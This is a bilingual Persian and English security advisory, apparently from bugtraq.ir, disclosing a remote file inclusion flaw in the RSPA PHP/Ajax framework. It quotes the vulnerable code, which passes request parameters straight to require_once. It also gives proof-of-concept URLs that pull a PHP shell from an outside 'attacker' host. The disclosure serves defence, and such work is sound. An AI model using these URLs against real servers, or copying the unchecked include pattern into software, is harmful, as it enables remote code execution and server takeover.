1386-01-13 02:21:54 طبقه بندی :
امنیت در برنامه های کاربردی (1)
امنیت در برنامه های و اپلیکیشن ها تحت وب (ASP,PHP ,...) (1)
آسیب پذیری های امنیتی (8) شماره مقاله : 6 سطح علمی : 1 کیفیت مقاله : 1 عنوان :آسيب پذيري پيوست فايل در RSPA خلاصه مقاله RSPA كه مخفف Really Simple PHP and Ajax () مي باشد يك كامپوننت ساده مرتبط با اجكس براي PHP نسخه هاي 4 و 5 مي باشد كه شامل تركيبي ار كلاس ها PHP و HTML/Javascript مي باشد كه امكان فراخواني توابع PHP سمت سرور را از طريق رويداد هاي جاوااسكرپت سمت مشتري فراهم مي سازد .
در آدرس زير قابل دسترسي مي باشد .
http://rspa.sourceforge.net متن اصلی
RSPA Remote File Inclusion
Really Simple PHP and Ajax (RSPA)
RSPA is a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events. Visit http://rspa.sourceforge.net
Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir
http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6
Vulnerable Systems:
Version: rspa-2007-03-23
Description:
Input passed to the" __IncludeFilePHPClass ", " __ClassPath" and " __class" parameters in "rspa/framework/Controller_v5.php" and " rspa/framework/Controller_v4.php " is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.
read more about file inclusion in http://www.bugtraq.ir/articles
Vulnerable Code :
require_once("rspaconf.inc.php");
$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];
// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){
$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}
// Parms
if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}
// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
}else{
$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);
POC exploit :
The following URL will cause remote file inclusion
http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://phpshell.txt/?
# copyright : http://www.bugtraq.ir
آسيب پذيري پيوست فايل در RSPA
Really Simple PHP and Ajax (RSPA)
RSPA كه مخفف Really Simple PHP and Ajax () مي باشد يك كامپوننت ساده مرتبط با اجكس براي PHP نسخه هاي 4 و 5 مي باشد.
كه شامل تركيبي ار كلاس ها PHP و HTML/Javascript مي باشد كه امكان فراخواني توابع PHP سمت سرور را از طريق رويداد هاي جاوااسكرپت سمت مشتري فراهم مي سازد .
و در آدرس زير قابل دسترسي مي باشد .
http://rspa.sourceforge.net
توضيحات :
ورودي پارامتر " __IncludeFilePHPClass ", " __ClassPath" و همچنين " __class" در "rspa/framework/Controller_v5.php" و " rspa/framework/Controller_v4.php
پيش از پيوست فايل بصورت مناسب از لحاظ امنيتي بررسي نمي شوند .
نفوذگر با توجه به اين آسيب پذيري قادر به اجرا فايل هاي دلخواه (حاوي كد هاي php ) از داخل و خارج سرور مي باشد .
مي توانيد اطلاعات بيشتر در مورد پيوست فايل File inclusion را در http://www.bugtraq.ir بيابيد .
كد هاي آسيب پذير :
require_once("rspaconf.inc.php");
$className = $_REQUEST['__class'];
$methordName = $_REQUEST['__methord'];
// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){
$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}
// Parms
if (isset($_REQUEST['__parameters'])){$parameter = getParms($_REQUEST['__parameters']);}else{$parameter="";}
// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" || empty($_REQUEST["__ClassPath"])){
$filename = $RSPA['class_folder'].$className.$RSPA['class_extension'];
}else{
$filename = $_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);
كد مخرب براي اثبات ادعا :
http://[HOST]/rspa/framework/Controller_v5.php?__IncludeFilePHPClass=http://attacker/phpshell.txt/?
http://[HOST]/rspa/framework/Controller_v4.php?__ClassPath=http://attacker/phpshell.txt/?
# http://www.bugtraq.ir
حميد عبادي منابع و نویسندگان : اين آسيب پذيري توسط حميد عبادي كشف شده و تمامي حقوق براي رسانه امنيت ديجيتال محفوظ مي باشد .
رسانه امنيت ديجيتال
http://www.bugtraq.ir
|